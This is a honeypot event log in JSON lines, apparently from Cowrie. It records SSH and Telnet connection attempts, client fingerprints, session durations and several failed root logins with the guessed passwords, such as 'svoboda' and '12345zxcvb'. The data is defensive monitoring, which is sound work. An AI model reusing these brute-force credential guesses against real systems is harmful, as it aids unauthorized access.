{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:51.122526Z","src_ip":"103.149.170.125","session":"05e5e70bde5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svoboda","message":"login attempt [root/svoboda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:52.235020Z","src_ip":"103.149.170.125","session":"05e5e70bde5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43206,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a8e9113b14","protocol":"telnet","message":"New connection: 192.119.13.58:43206 (10.17.0.5:23) [session: 46a8e9113b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:52.324327Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:53.507446Z","src_ip":"103.149.170.125","session":"05e5e70bde5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.14042329788208,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:54.464643Z","src_ip":"192.119.13.58","session":"46a8e9113b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5321900844574,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:56.767020Z","src_ip":"192.119.13.58","session":"e45c376e759a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39346,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc47813637b5","protocol":"telnet","message":"New connection: 192.119.13.58:39346 (10.17.0.5:23) [session: bc47813637b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:57.653025Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b71ab9f620ec","protocol":"telnet","message":"New connection: 192.119.13.58:40120 (10.17.0.5:23) [session: b71ab9f620ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:57.824553Z"}
{"eventid":"cowrie.session.closed","duration":32.592238664627075,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:02:59.687770Z","src_ip":"192.119.13.58","session":"923d93b7fb81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55460,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f12084d256b","protocol":"telnet","message":"New connection: 192.119.13.58:55460 (10.17.0.5:23) [session: 9f12084d256b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:01.387174Z"}
{"eventid":"cowrie.session.closed","duration":49.346710205078125,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:05.391100Z","src_ip":"192.119.13.58","session":"d64e93ace32e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":52893,"dst_ip":"159.203.135.109","dst_port":23,"session":"23916caa7648","protocol":"telnet","message":"New connection: 186.195.16.41:52893 (159.203.135.109:23) [session: 23916caa7648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:06.688971Z"}
{"eventid":"cowrie.session.closed","duration":44.530850648880005,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:07.447159Z","src_ip":"192.119.13.58","session":"412e318e6078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40412,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3cd0c73b955","protocol":"telnet","message":"New connection: 192.119.13.58:40412 (10.17.0.5:23) [session: d3cd0c73b955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:10.898945Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58676,"dst_ip":"10.17.0.5","dst_port":23,"session":"d27c6298bff8","protocol":"telnet","message":"New connection: 192.119.13.58:58676 (10.17.0.5:23) [session: d27c6298bff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:13.766089Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42418,"dst_ip":"10.17.0.5","dst_port":22,"session":"de29b77433d0","protocol":"ssh","message":"New connection: 103.27.238.116:42418 (10.17.0.5:22) [session: de29b77433d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:18.285381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:18.290201Z","src_ip":"103.27.238.116","session":"de29b77433d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:18.565038Z","src_ip":"103.27.238.116","session":"de29b77433d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58614,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba22aa9e75b","protocol":"telnet","message":"New connection: 192.119.13.58:58614 (10.17.0.5:23) [session: 8ba22aa9e75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:19.376200Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima12345","message":"login attempt [root/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:19.395128Z","src_ip":"103.27.238.116","session":"de29b77433d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea633150a00e","protocol":"telnet","message":"New connection: 192.119.13.58:58016 (10.17.0.5:23) [session: ea633150a00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:20.243210Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:20.672435Z","src_ip":"103.27.238.116","session":"de29b77433d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43410,"dst_ip":"159.203.135.109","dst_port":22,"session":"72ab96a32b9f","protocol":"ssh","message":"New connection: 103.172.78.219:43410 (159.203.135.109:22) [session: 72ab96a32b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:21.127827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:21.132758Z","src_ip":"103.172.78.219","session":"72ab96a32b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:21.379825Z","src_ip":"103.172.78.219","session":"72ab96a32b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.74534010887146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:21.411723Z","src_ip":"192.119.13.58","session":"3faf6fe702a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345zxcvb","message":"login attempt [root/12345zxcvb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:22.120495Z","src_ip":"103.172.78.219","session":"72ab96a32b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:23.370049Z","src_ip":"103.172.78.219","session":"72ab96a32b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.39567828178406,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:25.744662Z","src_ip":"192.119.13.58","session":"4c3d34c1516d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.819724321365356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:25.768477Z","src_ip":"192.119.13.58","session":"21731f077a03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.96020197868347,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:26.969143Z","src_ip":"192.119.13.58","session":"3490b233e5b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.86733031272888,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:30.452735Z","src_ip":"192.119.13.58","session":"2211d08302ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56844,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f924c7b942e","protocol":"telnet","message":"New connection: 192.119.13.58:56844 (10.17.0.5:23) [session: 8f924c7b942e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:32.671233Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61caccf1f0a","protocol":"telnet","message":"New connection: 192.119.13.58:33126 (10.17.0.5:23) [session: d61caccf1f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:33.759114Z"}
{"eventid":"cowrie.session.closed","duration":0.01000833511352539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:33.769005Z","src_ip":"192.119.13.58","session":"d61caccf1f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97065472602844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:34.357701Z","src_ip":"192.119.13.58","session":"9f12084d256b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":35030,"dst_ip":"10.17.0.5","dst_port":22,"session":"af57f23bc3cf","protocol":"ssh","message":"New connection: 45.78.204.254:35030 (10.17.0.5:22) [session: af57f23bc3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:36.235602Z"}
{"eventid":"cowrie.session.closed","duration":39.51746129989624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:37.170368Z","src_ip":"192.119.13.58","session":"bc47813637b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44268,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0dbdd78b11c","protocol":"telnet","message":"New connection: 192.119.13.58:44268 (10.17.0.5:23) [session: c0dbdd78b11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:37.650892Z"}
{"eventid":"cowrie.session.closed","duration":43.45551633834839,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:41.279930Z","src_ip":"192.119.13.58","session":"b71ab9f620ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73715901374817,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:46.503145Z","src_ip":"192.119.13.58","session":"d27c6298bff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"6edc9137ae2e","protocol":"ssh","message":"New connection: 103.82.132.16:60998 (10.17.0.5:22) [session: 6edc9137ae2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:47.547775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:47.553748Z","src_ip":"103.82.132.16","session":"6edc9137ae2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:47.818983Z","src_ip":"103.82.132.16","session":"6edc9137ae2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47762,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa4338b14a5f","protocol":"telnet","message":"New connection: 192.119.13.58:47762 (10.17.0.5:23) [session: fa4338b14a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:48.214570Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"37gudoplfs45","message":"login attempt [root/37gudoplfs45] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:48.611276Z","src_ip":"103.82.132.16","session":"6edc9137ae2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52976,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5953c67508a","protocol":"telnet","message":"New connection: 192.119.13.58:52976 (10.17.0.5:23) [session: c5953c67508a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:49.352643Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:49.877150Z","src_ip":"103.82.132.16","session":"6edc9137ae2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.435593605041504,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:53.124427Z","src_ip":"186.195.16.41","session":"23916caa7648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48930,"dst_ip":"10.17.0.5","dst_port":23,"session":"88bdb69417bc","protocol":"telnet","message":"New connection: 192.119.13.58:48930 (10.17.0.5:23) [session: 88bdb69417bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:54.846293Z"}
{"eventid":"cowrie.session.closed","duration":37.4034366607666,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:56.779472Z","src_ip":"192.119.13.58","session":"8ba22aa9e75b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60790,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3696f59a8e7","protocol":"telnet","message":"New connection: 192.119.13.58:60790 (10.17.0.5:23) [session: a3696f59a8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:57.935574Z"}
{"eventid":"cowrie.session.closed","duration":47.30861687660217,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:58.207236Z","src_ip":"192.119.13.58","session":"d3cd0c73b955","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:59.619663Z","src_ip":"45.78.204.254","session":"af57f23bc3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:59.623826Z","src_ip":"45.78.204.254","session":"af57f23bc3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.4","message":"Connection lost after 23.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:03:59.634272Z","src_ip":"45.78.204.254","session":"af57f23bc3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49014,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc1e1d570e02","protocol":"telnet","message":"New connection: 192.119.13.58:49014 (10.17.0.5:23) [session: fc1e1d570e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:00.944058Z"}
{"eventid":"cowrie.session.closed","duration":41.75799560546875,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:02.001069Z","src_ip":"192.119.13.58","session":"ea633150a00e","protocol":"telnet"}
